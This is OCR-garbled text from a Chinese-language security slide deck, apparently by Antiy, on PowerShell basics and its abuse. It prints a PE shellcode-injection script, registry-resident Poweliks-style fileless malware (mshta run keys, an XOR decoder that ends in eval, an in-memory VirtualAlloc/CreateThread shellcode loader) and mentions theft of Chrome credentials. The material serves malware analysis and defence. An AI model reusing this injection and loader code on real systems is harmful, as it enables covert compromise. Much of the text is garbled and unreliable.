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_ PowerShell 2.0 PowerShell 3.0 PowerShell 4.0

Windows 7

Default (SP1)

Reguires WMF 3.0 Update

Requires WMF 4.0 Update

Windows Server 2008

Default (R2 SP1)

Requires WMF 3.0 Update

Requires WMF 4.0 Update

Windows B Default Requires WMF 4.0 Update
Vilindows 8.1 Default
Windows Server 2012 Default Default (R2)
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e KIS

o B HRGABFEIRIEWindows Registry cd hkcu:
s AN HEFEOMIERENETFE—dir -r | select string "searchforthis"”
« FRRNEFEZRE AN HTE
s MRS

. PowerSheI IEFl ﬁ‘,‘;lj%‘ \%Eéﬁﬁ’%mi_zlgﬁ lain texE% 5 __AAR j%
=TT ,

ps | sort —Property ws| select —last 5

b Shel | E‘ijl- S = |:||:|
{ebiects) . LY éﬁﬁéw%mo 5 MRS
« YHF. NET

o {&BA. NET Framework: & AKHIEEE, JLIiL—1]ER8AK /9T BE

AN B4
« SEEFABwindows EALEHEIARH, MMaTHITXH (exe), #HtAIEbatFivb scriptFF.
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eGet

e Get—Process. Get—Service. Get—Host. Get—Date.

eSet
e Set—ExecutionPolicy, Set-Content, Set-Location

Write
e Write—Debug. Write—EventLog . Write—Output

eStart
e Start—Job., Start—-Process . Start—Service

eNew

e New—|tem, New—0Object . New—Event
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2 ) Windows PowerShell ISE

ANTIY
| Windows PowerShell ISE = '
MiEF) HEE WBV IEM ED) WEINTER 2EH)
0 e :Jd & B » | 9 | E ] = = T O | B @ .
| Subvert-PEps1 | Invoke-Shellcode.ps1 | testps1 | Invoke-Encode.pst | FotnSll.ps1* | Foindi2.psl® | Out-CHM.ps1 X & X *
121 | ¢/HTML
"2 s | AR
the Project file for the CHM E=tos
A
Add-AppxPackage
Add-AppxProvisionedPackage
Add-BCDataCacheExtension
Add-BitLockerKeyProtector
one controls the payload execution. Add-BitsFile
Add-CertificateEnrollmentPolicyServer
¢TITLE5Check for Windows updates from Command Line</TITLES Add-Computer
¢HEADS Add-Content
</HEAD> Add-DnsClientNrptRule
<BODYH Add-DteClusterTMMapping
et y Add-History
116£-9377-0025003b7a11" =idth=1 height=1> = .
Add-InitiatorldToMaskingset
Add-JobTrigger
vstem3d2'\FindowsPowerShell\wl. 0'\powershell. exe —WindowStyle Hidden —Execu Add-KdsRootKey
{PARAM name="Item2”

</0BJECT>

=t

Add-Member

Add-MpPreference
Add-NetEventNetworkAdapter
Add-NetEventPacketCaptureProvider
Add-NetEventProvider
Add-NetEventVmMetworkAdapter
Add-NetEventVmSwitch
Add-NetlPHitpsCertBinding
Add-NetlbfoTeamMember
Add-NetlbfoTeamMNic
Add-NetNatExternalAddress
Add-NetNatStaticMapping
AdA-MatSwitrhTaambdamber

i
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$objExcel = New-Object -comobject Excel.Application

$objExcel.Visible = $True
$objllorkbook = $objExcel.lorkbooks.Add
$objllorksheet = $objWorkbook.lWorksheets.Item(1

$i =0
$firstlo ps sort ws -Descending select -first
$firstl® | foreach -Process {$i++; $objlorksheet.Cell

$objCharts = $objlorksheet.Char 9%

$objChart = $objCharts.Add(8, ©

W powershell

1

Item($i,2 $_.ws 2

$otheriem ps | measure ws -s5).5um $firstl0 | me 3

$objliorksheet.Cells.Ttem(11,1) = "Others”; $objWorkshi
g explorer ™ explorer
E 10% powershell R
7
8

powershell

z O M sychost
soquhart Eﬁavt : rt 0 10 - EXCEL
$objChart.Chart.A 5 11

; W Searchindexer
12

13 H svchost
14 e EXCEL W msiexec
13 3% svchost pgjexec svchost Searchindexer 6% svchost
16 3% s s 6% -
L ™ audiodg
18 Others
15

20
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2  PowerShell PE Injection

$bytes = [System.I0.File]::ReadAllBytes($Path)

Mew-Variable -Option Constant -MName Magic -Value (@]

215

S

vAen Cas+

function Local:ConvertTo-Int{
Param(
[Parameter(Position = 1, Mandatory = $True)]
[Byte[]
$array)
switch ($array.length)/

2 { Write-Output [UIntls] ('ex{a}’ -f (($array ¢ {$_.ToString("X2")]
4 { Write-Output ( [Int32] ('@x{B}"' -f (($array $ .ToString('X2")})

$PE = ConvertTo-Int $bytes[63..60]

$NumOfPESection = ConvertTo-Int $bytes[($PE+7)..($PE+6)]
$0ptSize = ConvertTo-Int $bytes[($PE+21)..($PE+208)]

$0pt = $PE + 24

$SecThl = $0pt + $0ptSize

-join
-join

11




for_ﬁi B: $i -1t $ShellCode.length; $i++){
$bytes[ ($ShellCodelrite + $i)] = $ShellCode[$i]

$bytes| : (" + $NullCount.Substrin
$bytes[ ( - ] ( - $NullCount.Substrir
$bytes| ( | o= o] $NullCount.Substrin
$bytes[ ($0pt+l6)] = | (" + $NullCount.Substring(6

$Entryhoint0ffset - -f (ConvertTo-Int $bytes[($0pt+19)..(30pt+16
echo "Mc ed Entry t: Ttry t0 £

$Distance = -f ($EntryPointBefore - (ConvertTo-Int $bytes[($0pt+19)..($0pt+16)]) - $ShellCode.length

echo "Inject Far IMP:

$bytes[ ($5hellCodelirite + $ShellCode. C

$bytes[ ($ShellCodelirite + $ShellCode gth + 1)] = [byte]( * + $Distance.Substrin
$bytes| ($5hellCodelirite $ShellCode. 2)] = [ o : $Distance.Substrin
$bytes| ($5hellCodelirite + $ShellCode. + ] = [ ] ' + $Distance.Substring
$bytes[ ($5hellCodelirite + $ShellCode. + 4)] = [byte] " + $Distance.Substrin

echo "™n
$output
foreach ( $count in $bytes[($ShellCodelirite - 1)..($5hellCodelirite+
if (($output.length eq B){
$output +=

élse'
$output

[System.I0.File]::WriteAllBytes($Path, $bytes
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PE D:\, + Bubvert—PE —Path ~ notepadtt. ax

Lepitimate Entry Point Offset:  Ox(00BE459
Preferred PE Image Base:

Kull-Byte Padding dump:

00 00 (0 0 1) L 00
00 I, 00 O (] 1]
00 040 00 O Li (0 00
00 ) 0 00 O ) 00 00 00
00 0 O 00 LI 00 00
00 (W] i1
o0 00 00 00 00
0 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 L 00 00 Li 00 00
o0 040 00 00 LI 00 00
00 0 0 00 00 M W 00 00
o0 00 00 00 00
00 00 00 00 00
o0 0 00 00 00 00
00 00 00 00 00

00
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SN0 S

o %
00000100 B9 D4 C2 4F 00 00 00 00 00 00 00 00 EO 00 03 01 00000100 B9 D4 C2 4F 00 00 00 00 00 00 00 00 EO 00 03 01
00000110 OB 01 08 00 00 90 0D 00 00 20 OB OO0 00 00 Q00 0o 00000110 OB O1 08 00 00 90 0D 00 00 20 OB 00 00 Q0 Q00 00
00000120 46 87 oD 00 00 10 00 00 OO0 AOQ OD 00 00 o0 40 o0 00000120 59 64 OB 00 00 10 00 00 00 AOQ OD 00 00 00 40 00
00000130 ao 10 00 00 00 10 90 00 04 00 Q0 00 01 00 Q00 0o 00000130 a0 10 00 00 00 10 a0 00 o4 a0 90 00 01 a0 00 0o
00000140 04 00 00 00 00 00 OO0 00 OO0 FO 19 OO0 00 10 00 o0 00000140 04 00 Q0 00 00 OO0 OO0 00 00 FO 19 00 00 10 00 o0

e i A shel | code

00045740 00 ES 94 B9 FD FF 60 31 D2 52 68 63 61 &6C 63 54 00045740 00 ES 94 B9 FD FF OO0 00 00 0O 00 OO0 00 0O 00 00
00043750 59 52 51 64 BB 72 30 BB 76 OC 8B 76 0C AD BB 30 | | DO042750 00 00 00 00 0O 0O 00 00 DO OO0 00 00 OO OO 00 0O
000da7el BB TE 18 BB S5F 3C 8B 5C 1F 78 BB 74 IF 20 01 FE ! 00049760 00 00 00 00 0O 00 OO0 00 0O OO 00 00 00 OO0 OO0 00
00045770 EB 54 1F 24 0OF B7 2C 17 42 42 AD 81 3C 07 57 €39 | | 00049770 00 00 00 00 OO 00 OO 00 00 00 OO 00 00 00 00 00
0o0da7e0 eE 45 75 FO 8B ¥4 1F IC 01 FE 03 3C BRE FF D7 58 00049780 00 00 00 00 00 OO0 OO0 00 00 OO0 00 00 00 OO0 00 00
00043780 58 61 E9 €2 CC FD FF 00 00 00 00 00 0O 00 00 00 00049790 00 00 00 00 00 00 00 00 00 OO 00 00 0O OO0 OO0 00
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FTENGIF

’J themes
1

;j updater
|

. 8% Process Ezplorer — Sy=sinternal=s: wwy. sysinte
N Eme ERo ZBoo ERe ZEo AP #HBo

' @ R

I8 5 =0 FN

]

HF
= T RERWHE
T F&
:DPCS
= : Srstem

= Esmss. [543
Ecsrss. exze

= m winlogon, exe
l—jEservices. eXZe
Evmacthlp. )
Esuchﬁst. 5.4
Esuchﬁst. eZe
Esuchﬂst. BEe
Esuchﬂst. BEe
Esuchost. eze

Esnoolsu. eze

Esuchost. eze

rmtoolsd exe
THUpgradeH. . .

Elsass. BEe

= ,.j explorer. exe

WM reTrary. eze

Ty Mwmrelzar. eze

E ctEmon. exe
é'_Elprocexp. aza
Hash 1.0.4. exe

(=]} 4 notepad+t. eze

% caleo. exe

PID  CPU REFT

0 9846 ]
rfa b
nfa ¥

4 1
564 172 1
£28 2, 204 }
652 £, 640 §
695 1,808}
364 740 §
292 3,108 §
964 1, 508 §
1048 4, 360 §
1100 1, 244 }
1200 1, 300 }
1500 3, 904 }
1528 1, 364 }
1936 £, TR0 §
2024 1,132 3
T08 2, 240§
1444 11, 564 3
1628 2,224 }
1636 5, 595 }
1656 1,020 3
450 1,54 £, 664 1
296 BE0 ¥
520 T, 224 §
528 1,520 }

Eczrzz. eXZE

=] ﬁ winlogon. eze
E||35&r1ri-:e5. axe
Evman:thlp. eze
= ﬁsucl‘mst. BE &

Emiprvse. g

Esucl‘mst. eZe
ﬁsucl‘mst. eZe
Esucl‘mst. axe
Esucl‘mst. exe
Espcn:llsv. BZe
ﬁsucl‘mst. axe
mvrntn:n:nlsd. axe

wvmfpzradel{. i

=m|]5a55. eZe

= % ezplozer. axe
calc. exe

Imrelrar. eze

K

K

K

| o: Jf
1 K
K

J Backspace CE H C K
K

MC g8 g ! sqrt A
.

ME 5 B ¥ % i
K

M g c = 1/x [ K
K

M+ +/ i E .
T e e R
1TiE 1,168 K 4,308 X
T24 2,432 | 5, 984 K
1350 10, 200 K 15,432 X
1396 1, 520 K 3,812 K
1932 2,184 K n1TE K
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SHAZ56:

File name:

total

857d29eeZf4f9e80cb135db70affadd3ibl56196512212d791eedc1dI12a2cchbe

notepad++ exe

Detection ratio: 4/ 54

Analysis date: 2015-12-09 03:31:25 UTC { 2 days, 2 hours ago )

= Analysis

Antivirus
Fortinet
MANO-Antivirus
Qihoo-360

VBA3Z

@ File detail € Additional information ® Comments a

Result

W32/ Ky ptik AGHT

Virus Win32. Gen.ccmw
HEUR/QWM20.1.Malware. Gen

Heur. Trojan. Hlux

) Votes BEf Behavioural information

Update

20151209
20151209
20151209

20151208

et -5 k1
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mshta.exe:1576 Properties = =
Security Environment . Strings
Image Performance Performance Graph Threads TCP/IP
Image File

Microsoft (R) HTML R FRIEREE
(Mot verified) Microsoft Corporation
Version: 11.0.9600. 17415
Time: 20141121 15:40
Path:
C:\windows'system32\mshta. exe
Command line:
'C:\Wiﬁdéws‘ﬁystemS?.‘mshta.exe"‘javascript:xleSMotA='lDBlr\-",'J1-10=new%:
Current directory:
(-::-‘l,\ﬂ;'indows.‘»,'s;'stem32'l,

Parent:  WmiPrvSE.exe{3024)

Verify
User: WIN-RE5DKSQO25R wing

powershell.exe:3064 Properties

_Security | Environment _.MET Assemblies NET Performance | Strings
Image | Performance Performance Graph Threads TCR/IP
Image File

i ] Windows PowerShell

(Mot verified) Microsoft Corporation
Version: ©.3.9600.17415
Time: 2014/11/21 12:56

Path:
C:\windows\syewOwasRwWindowsPowershelw 1. 0%powershell. exe

Command line:
| "CoWindows\SysWOWe4\WindowsPowerShelltv 1. 0'\powershell . exe” iex Senv:dern!

Current directory:
C:\Windows\System32Y

o) Process Explorer - Sysinternals: wy

File Options WView Process Find Users

d @ =00 = ae | IING

Process
El Interrupts
T DECs

] B System Idle Frocess
B B.|S¥stem

B ' Smss. exe
CEISE. EX&

B i services. exe
(=) @ svchost. exe
EC}LEIIB. sxe

\. E B TmiPrviE. exe

BT o sk
(=) Epﬂwershe]]. Bxe
ﬁ:[}llhﬂst. exe
[EZ]#vchost. exe

7| svchost. exe
El sudicds. exe
B | =vchost. exe
[@7 taskhostex sxe
E] svchost. exe

=) @ swvchost. exe
EI TUDFHost. exe
[@5] svchost. exe
gy spoolev. exe
@ svchost. exe
ii_"u] svchost. exe
e vmtool sd. exe
E] svchost. exe
ﬂ svchost. exe
i;-_,ms:lt:. exe
B Joi SearchIndexer. sxe
El SearchFilterHost. exe
B SearchProtococlHost. exe
Ii_"u] svchost. exe
w7 lsass. exe

PID

3024
1578
3064
1304
588
728
2260
788
2868
828
L
1992
240
856
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i ]a'-.-'a5-::r-ipt:T[35 *xx5="30L30" = W] 28 At """"'__' ( "WSecript.Shell ':I_;" e
sofFtuara’ v dCvZ0z1 o "AMS AW Yyt F::E:L[:IIjE=

obj=new ActiveXObject("WScript.Shell
RegData=obj.RegRead( "HKCU

eval(RegData);

L BEE =BV MEEsn) EEH)

™ = =] #E

; ab| (BR5A) REG_SZ FEFEE)
4} Software ab) B4|ETK REG_SZ wnLEPQhNi...

N — \ . : i~ AppDatalow o i
PN ﬂﬂ_%_ W T1 % S i‘ ZIK ki la8|RRATHE REG §Z wHEEDOUQK...
X <N 1711 jshi

, f12fb81a1f
i M Providers
B | Macromedia
: Microsoft




AN ER RN
E:

MR R®8E EEV) dEEER) ZEH)
P . Network A B

b~ Ju Printers ab) (BEA)

a- ) Software ab| 84|ETK
‘ >}, AppDatalow ab) RRATF

| Classes
| dcvzoz1z0a
- ) F12fbe1atf
-y IM Providers

. Macromedia

[ Mirrosonft

27 s
REG SZ (FEFEE)
REG_SZ nLEPQhNi...
REG SZ wEEOOUOK..,

El 1.reg - iBF&E - 8 n
| TP REE) 1ER0) (V) FEEIH)

windows Registry Ediffor version 5.00 -
[HKEY_CURRENT_USER'foftware‘\dcvzoz1z9a]

"RRATLF =" w BEIIUQ
BTIYAECISIE SR

EEF? A IWPVIIECCCERERIC B ROFEMEEET  quECm) BOWiEREEIEZKI~IC  EEASCOVE
CE+EEGTE?UETEINITiB107"YI YRD2ZIEIPSr? SRS TE-OIVDEEA\\ZEFEEALEE
%;Gégﬁji!ﬁﬁg‘;g_ﬁz BEE-gae bEE = I T (D P BRI BN H (<X 3 MR DET R 71 /Eh?C
7c&7/2; =0

"B41ETK"="wnLEPgh ‘iRJq%rHJbvd,anvz-"bPNﬁwj paosxmlstSZUAGEFVE4FV31QItRkfF2gagk9m2yxBKQpnmaDo
fDingkypiBEEySlGJq]K yciHjKsYal3cwhoravhQl7uiviTE2AbvmoC4y 1OEITNSIwWETYUD" ; vPDgGalHlgZgwgt
gFE="dwGBMQhBXHOTMSPE xxrw%zsowfkRthIIPK HbIdayw5Kk2p6zeraCarn”; bxn9gwBXuMhnMgXPfEsw="qBUB
F3P'che%('|IOOD?OLSUGkStYMSUn‘DKSHaIﬂlSprXKy hnPOEL705MBMBKOAPKQeJE93XYVSgNFS20BeZ5r VPAGKIi7e
NPpBpm81lapjxee"”; 180L1viSboAX]SKWUH="1L1DuBk7tr 5FSskS6HYB267 zL zAf IMbr PH3fKj 58Q5wI00CIE4RBS
73j9u07 XxTMRIHEUUEUU"; 17 cZZGsvdIKINWLCYIQINCQ="F38GFPTPcOkvyy2 TsgmMQHgP1AGeSRKIVLI7QI 1UQMF Uk
cocZm"; yKuMxU0TwPrir 1RuzZ 1 Ewf TD="Kxychp83INbnBBI1dxXNm7 0gGsVyxD2AGAZtMCZgD4 5zkvkadogaIfmxe156f
KphkavrFrafyalzfMyrk"; I7fH="280E0B111B705E2A315106776F 380B261A3B053D3F2609514A2C0C2B1337545
9091C293C0208083F09063C312336093D321D091508012D07261744E191018281973364625281816012E225E3C59
2242660C2C07130D333C062E1B152A073A3C53125E7A2408383F3317113E18201C0D455826266502211505341F2
178176F0E071221070C51312C731F1C1231005A3A017476033D00536193Cc120535260A3D50531F0B093F5A060618
3E7E12043107393A303629122A14192A3D023284A3D125F2777002064071C482118247419370A003C2D1C62284D5
E225E36270E012403263A582A211A2913194C510F3E2A1A05035C3D38273916265A38483358752214001213611A
7F521A241D3F501423362A29141513191D55171F474C1A3C772E7B57663A240D0E1B222621081C04542C2249282
01C293538043C5C21172514604C3D2F07020E757D1EG1177A03173C74021173342B0C6F292F540E4F 2644472020
012C202821382E031A5D340017213B6F5237573D0833442C063F254508080606133A4802083E5061337A38480A0
43D38277C17343033325111760F1D0308B6ED57F392C2104352E683B183E2A500131105C015D65293A433C243214
2226293C3733344823110922052115090E5D1 8681 50£09221C001D120C322F352876020E3F443E02510C€1D11030
B3427150D005595935003F3731004E2E0839223D0411523140725512E2C09242E0E050C3811091F7205700E322819
09572345086041253624091A0D7D057979063C2E28083A26121C1E2158568747302230F732F28401538175427211
B36270C16153D1C150C2F1C011210071961510C671D28553E05100E123535052E1D5D0D0643662535280F353B1E
4F015823313F1E071E760D602035067E392951220D3823320C31273A032E205A4E10140D7E0COF3934281426651
1180172340E222A20085871206D760204372ATF282A07223D3C1108343F340C7D66202D00023332A2A295D214B08
162742340E15192E1D17 287 5427C 5D2D0EOALBOEG4 31000929380D0D105805590C180702232C361F7425653E041
E224A5D30122715035F3E0D310102030A38017F210A025E5118211007055420101364345150373468535D472470
74280100742F5850410879563902747A23070A0F7A2C2B190F602825657659551A170505230C275022252313133
226051E380818223429630A70417936250A5D3A4C2C3037216E2F3COF3B590E5F6C1C18786B075A620F380D393A
1C1B2003305755161C1B1507250218192D042153274127264F0D2B1E3A0816670A7E33301D025C673040082E423 ,

wy SE N |
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PSED

encoded data= BTy
temp_data="";
for(i=0:i<encoded data.length;i+=2)
femp data+=String.fromCharCode(
key="GBzf e et
decoded_ dafa- :
for(j=k=8:k<temp data.length:k++)
{decoded data+=String.fromCharCode(temp data.substr(k,l).charCodedt()"key.substr(j,1).charCodeft()):j=(j<key.length-1)}?j+1:0;:}
eval(decoded data);

3=

<script type="text/javascript”
try {
moveTo(-166
resizelo
ij5h =
15

EiEth ijljlﬁun{..__
} caren (7 {¥
close()

<fscript> " T‘
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ANTIY
sleep(48):
try |
function gdelegate
Param"Parameter'Position = @, Mandatory = $True)][Type[]] $Parameters, [Parameter(Position = 1)][Type] $ReturnType = [Void

$TypeBu11der = AppDomaln CurrentDomain.DefineDynamicAssembly((New - Object System.Reflection.AssemblyName(

) [System. ReFlectlon.Emlt AssemblyBu1lder&ccess i+ 1Run) ,DefineDynamicModule (" InMemoryModule™, $false),
DeFlne?ype 'y €lass,Public =", [System.MulticastDelegate]):
$TypeBuilder. Deflnetonstructor - 7, Public”, [System.Reflection.CallingConventions]::Standard,
$Parameters .SetImplementatlonFlags u -
$TypeBuzlder Deflne fethod( “Invoke”, "Public,HideBySig,NewSlot,Virtual”, $ReturnType, $Parameters).SetImplementationFlags

return $TypeBu11der CreateType();

function gproc {
Param([Parameter(Position = 8, Mandatory = $True)][String] $Module, [Parameter(Position = 1, Mandatory = $True)][String]
$Procedure
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() Where - Object
$_.GlobalAssemblyCache - And $_.location.Split("\")[-1].Equals("”
System.dll ")) $UnsafeNat1veMethods $SystemAssembly.GetType("”
J felativeMethods ‘return $UnsafeNativeMethods.GetMethod(
Inuoke $nu11 @ [System.Runtime.InteropServices.HandleRef] New—Dbject System.Runtime

IntenopSerlces HandleRef( (New-Object IntPtr),$UnsafeNativeMethods.GetMethod("

sHand "Y.Invoke ($null,@($Module))) ), $Procedure) ) }[Byte[]]|$s5c32 = Bx55,0x8B,8xEC d [Uint32[]]
$op B $r jSystem.Runtlme.InteropServlces.Marshalj GetDelegateForFunctionPointer .gproc kernel3d2.dll
VirtualProtect), (gdelegate @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($sc32,%sc32.Length
,8x40 ,%0p) ;

if($r eq a4
$pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.d11 VirtualAlloc), (gdelegate @([
IntPtr],[UInt32],[UInt32],[UInt32]) _UInt32_.....Invoke_9.$sc32 Length,Bx3000,6x48) :if($pr -ne 8){
$memset=([System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer(({gproc msvcrt.dll memset), (gdelegate @([
UInt32' [UInt32],[UInt32]) ([IntPtr]
($i=0:%1i -le ($s5c32.length-1):Pi++
$memset.1nvoke,'$pr~$i , Psc32[$i], 1
| System. Kuntime. InteropServices.Marshal]: :GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) | (gdelegate @
([ IntPtr], [UInt32], 'UIntSZ:.:UInt32Z.jUIntSQ:.:IntPtP: [ IntPtr] .Invoke(8,0,%pr, $pr. 0,0 Ffelse{([>ystem.Runtime.
InteropServ1ces Marshal]: :GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread)/(gdelegate @([IntPtr], [UInt32
[Byte[]],[Byte[]] UInt32: [IntPtr] ([ IntPtr] .Invoke(8,0,$5c32,55c32,0,8): }sleep(1208) : }catch{ }exit;




JSiIE FHPowerShell

mshta.exe:1576 Properties = =
Security Environment Strings

Image Performance Performance Graph Threads TCR/IP
Image File

Microsoft (R) HTML 2 FR¥E FEE 4,

{Mot verified) Microsoft Corporation

Wersion: 11.0.9600. 17416

Time: 2014/11/21 15:40

Path:

C:\Windows'system32\mshta.exe
Command line:

'C:‘I,Wiﬁdéws‘»,syshemﬂz‘l,mshta.exe“javascript: xwUEMotA="10B1rV"; 1140 =new %
Current directory:

E.::.‘l,\ﬂfindows.‘.,'sﬂlstemﬂ'l,

Parent:  WmiPrvSE.exe(3024)
; Verify
User: WIN-RE5DKSQ025R Wwind
powershell.exe:3064 Properties
_ Security Environment ~ .MET Assemblies -MET Performance _ Strings
Image Performance Performance Graph Threads TCP/IP
Image File
i ir Windows PowerShell
(Mot verified) Microsoft Corporation

Version:  6.3.9600.17415

Time: 2014/11/21 12:56

Path:

C\Windows\SysWOWaWindowsPowerShelw 1. 0'powershell, exe

Command line:
| "Cowindows\Syswowed\WindowsPowerShellt 1.0 \powershell. exe” iex 5env:dern!

Current directory;
C:\Windows\System32Y

is ] Process Explorer - Sysinternals: w

File QOptions View Process

Find Users Help

d @ =08 =x=xa¢ | ING

Process
EI Interrupts
W DFCs
= BE?sten Idle Process

m

L ex
El B #ininit.
El B ' Services. exe
El @] svehost. exe
[m5] ChsIMNE. exe

B B "maPr+v3E. exe
I|"""'----...___‘___ =] ﬁm B@E
) jp pewershell. exe

= conhost. exe

.
7| gvchost. exe

EXE

.| sudicds. exe
m| svchost. exe
E taskhostex. sxe
|i_"|] svchost. exe
El @] svehost. exe
El TUDFHost. exe
ﬂ svchost. exe
Eéé spoolsv. exe
[@=] svchost. exe
ii_"u] svchost. exe
m vmtoolsd. exe
|i_"|] svchost. exe
[@5] svchost. exe

:‘fx,msdt:. sxe

B L 4 Searchindexer. sxe

EI SearchFilterHost. exe
B SearchFrotocolHest. exe

E] svchost. exe

[m71l=ass. exe

FID

-1
)
O
4
3

3024
1576
3064
1304
588
728
2280
788
2868

BER
1992
240
B&6
300
1172
1386
15924
1948
2128
B12
2520
2724
3668
452

CFU Frivat

100. 00

CEXRIKE T



ANTIY

AV B =N iR EE

A3
77
DS

5a

8885 64FFFFFF
5a

8085 GCFFFFFF
ca

6A B4

8885 7CFFFFFF
83ace 1

e

8B8S 7OFFFFFF
e

FF55 AC

eax
eax,dword ptr
eax
eax,dword ptr
eax

mov eax,dword ptr
add eax, B
eax
mov eax,dword ptr
eax
call dword ptyr ss:
test eax,eax

ss:i[ebp-8x9C]

s5:[ebp-8x94]

ss:i[ebp-8x84]

ss:[ebp-0x98]

[ebp-8x54]

1.8841285A

aduapi3? _RegQuerylalueExf

OF 15 55 S1(4B D4 73 66
3F 56 CF|Eo 13

18 4345 92 69 FD

F8 DA 4F |11 BE FB C8|C1 F6 E3 16

3F Bo
97 43

THHF) WEE BBV EEA) EEHH)

----- Metwork || =85 e i #rE

Printers ab] (B£34) REG S7 (EEEE)
4} Software ab| B4IETK REG_SZ wnLEPQhMN...
NppDailow ab| RRATE REG S7 wEEDDUQK...

;~- Classes

L ) f2fb81atf
IM Providers
Macromedia
Microsaoft

TERI%E T



&, T EMREERENE

43

81E3 FFO00000 :

B3BCYD BOFBFFF 1i,dword ptr ss:[ebp+ebx=4-0x500]
81E7Y FFOO08000 .

BA8LOD BOFBFFF ,byte ptr ss:[ebp+ebx=4-0x500]
8B94BD BOFBFFF ed®,dword ptr ss:[ebp+edi=4-8x500]
8990490 BOFBFFF dword ptr ss:[ebp+ebx=4-8x508],edx |advapid2.77E161A8
25 FFOaO0888n g

8984BD BOFBFFF dword ptr ss:[ebp+edi=h-8x500],eax
8B85 UCFFFFFF 1X ,dword ptr ss:[ebp-8xB4]

8nBy38 5

8B949D BOFBFFF ®,duord ptr ss:[ebp+ebx=4-8x500]
839480 BOFBFFF 1% ,dword ptr ss:[ebp+edixi-B8x500]
81E2 FFOOB000 1%,

328495 BOFBFFF al,byte ptr ss:[ebp+ed==4-0:508]
8B95 UCFFFFFF eds,dword ptr ss:[ebp-0xBu4]

880432 ,al

b i esi

FF8D 3CFFFFFF dword ptr ss:[ebp-8xCh4]

EHUS i short 1.88411CED

ANTIY

w7 regsvrdl. exe

TEXRI%E T
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ANTIY

°Run;

amIHRuniEARIN, MIERES3 . BRI

UL

] Policies ~ | =3 | 8 | #1148 |

0 PredsionTo.  ([ab) gty REG_SZ BIEFED)

21 Pushhiotificz REG_SZ mshta javascript: FGMPUWALF="KjrudZAuv ;v 3V =new%20ActiveX. .

g EADAP‘ REG_57 mshta javascript:m3ZRwOEaS] ="UddelwaT0e":hSX =new20Act. .
un

:I Screensave ﬁﬁ%g n

:l SettingSync o

3 shell Extens | HERR:

I SkyDr

:l StartupMot HrigHE:

]
=
K

7

[ -

ive |

7] Store .
[ T |—v 3V, RegRead("HKCU\software\\f12fba 1a1f\3627db21
] Telephony prES | Aﬂiﬁ |
21 ThemeManz { |
e
\Y V4
RS ERS g
~ ZX 7
Raftiieng 28] (883 REZSZ EEREE)
b-igll AppDatalow B3 360c6652 EG.SZ B BEHME VY PR BB O o~ < o 6EETEMEE I 0iE? g JEEFVINUIED 2k?0 28K
7 - Klasses 307 7 BEGar G EAAV AT RRE
o ?;ﬁ?:f‘“ ETS 9627db21 REG 5Z UXgJHMgFgQ3FaxtTo7DWihk="8mBOVBixSuVQjlxpABUSxZpcuaidhBoHwoBRQCgo 1 3e. .
L s ?d ab| cdb57659 REG_SZ Mazilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOWE&4: Trident/7.0; .NET4.0E; ....
S ab]ceB6012b REG_SZ 864
| Macromedia
g ab|f3c471d9 REG_SZ 9DBE18CT763728532

CTERIKE

26




ANTIY

= FERhIE

e HHLIZITRUnEE{EF

= Emshta_ exe
= EDD?‘EIEhE-]].. exe
ﬁcnrlhuspt. exe

= EmEhta_ exe
= ED&?‘EIEhE-]]. exe
ﬁcnrlhuspt. exe

ePowerShel | 1E£HL 5

O JSEDZAS, JS1EFHPowerShel |

2092 15,152 K 26, 268 K ui
1328 38, 568 K 40, BOB E Wi
2855 3,980 K 5,280 K £
2388 15, 212 K 26, 160 X ui
3032 38, 586 K 40, 840 E Wi
1452 3,988 K 5,336 K E

—E, BT

W"‘ TEHMS Y U EE | BB oniF oo~ < g 6 EEFEMEE O HE? g AREFVINUTED 27Oz 8.

145001324

UXq/HMgFgQ3FodToTDWk="8mBOVBixSuVQjixpABUSxZ pcuaidhBoHwoBRQCgo13e..,

L Software lab] (BE; REG 57
21, SppDakaiton Ial’1 36006652 REG_SZ
B Chasses By TR TS REG a7
B ?C:iOﬂzfA T 9627db21 REG_SZ
- f12fb81aT
i f'd 25| cdb57659 REG_SZ
. 5] ce86012b REG_SZ
- Macromedia ; =
= ab|f3c471d9 REG_SZ

Mazilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW&4: Trident/7.0; .NET4.0E; ....
aa4d
9DBE18CTH3728532




Sample

RETSCE A -
Ree RUR LGS JavaScript
8 RIS

BEHUR R

AT JavaScript

firt 2= 18 PowerShell

U E2
sy aalll regsvr32.exe
HENBEE

@ nJa sl
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PowelikstEAR VTS H =R

SHAZEE:

Fila riarm

67 334836483 3dbE Bedccedabba a2 0083 TeaT dalad ol 7 48aad S6adatd4a

BEE55116. mxa

Detecton rath: 6/ 28

Analyss date: 2015-09-11 13:46:03 UTC ( 3 days, 23 hours 4506 )

M Annlysis

Antivirus
AlYac
Antry-AVL
Avast
ESET-NOD32
Emsisolt
Haspersky

AVG

&, Filg chartl 0 Additional mlormation & Comments o O Vates

Result

Gen:Variant. Symmi. 55504
Trojan/Generic ASMabeS, 14407 AF
Winae: Malware-gen
Wind2Wevter.C

Gen:Varian] Symmi 55504 (B)
Trogan. Wind2 Yakes. menb

o

£ Bahavsours

| Ilormation

Update

20150911

20150811

20150911

20150811

20150811

20150911

201150811

“GRKI%E T



2  PowerShell Data Stealing Campaigns

ANTIY

e FireEye: Uncovering Active PowerShel| Data Steal ing Campaigns

- KB HESHR, —AMAHITXH N BT HIME T Hps AT

g nEllﬂ'J""%%ﬁﬁE’J)ﬁK?1nu NChromeRy “Login Data” HR

iy h-\.
L \-:-|:|:.- ai, . o uapphara’ Boasing icrosof U ProTect e H.|.'-|:-'|CI a‘-. Asrpaata’ Roa g miorosof T F AT et B I microsofc -lrroraction 4 lent byt d s

ed 1§

LAy r L4

Cirry - IT 8§ -Pj!ll 'L'le-ﬂj':.'l"'- L - L ASERONT &L E BB 1 Gt | oL T B S B I:n.'lll :rrl' CaEfd -DERTANE 10N  RRDPANT BN . . (ABBDETE | RSk g pipragaft AT SRl ST &1 chrass ™ -EFroralt i em
